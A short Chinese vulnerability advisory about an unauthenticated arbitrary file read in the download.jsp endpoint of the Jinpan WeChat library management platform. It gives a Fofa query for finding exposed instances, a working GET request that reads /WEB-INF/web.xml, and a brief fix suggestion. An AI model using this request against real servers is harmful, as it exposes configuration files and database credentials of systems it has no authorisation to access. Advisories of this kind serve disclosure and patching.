金盘微信管理平台 download.jsp 任意文件读取漏洞

0x01 产品描述：

 ‌        金盘微信管理平台‌是由北京金盘鹏图软件技术有限公司开发的一款集掌上门户、掌上APP和微信平台为一体的移动服务解决方案，旨在拉近读者与图书馆之间的距离。该平台通过微信公众号提供服务，方便用户随时随地访问图书馆资源‌。
0x02 漏洞描述：

        金盘微信管理平台 download.jsp 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
0x03 搜索语句：

Fofa：title=="微信管理后台"

0x04 漏洞复现：

GET /mobile/pages/admin/tools/file/download.jsp?items=/WEB-INF/web.xml HTTP/1.1
Content-Type: application/json
Host: your-ip

0x05 修复建议：

在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。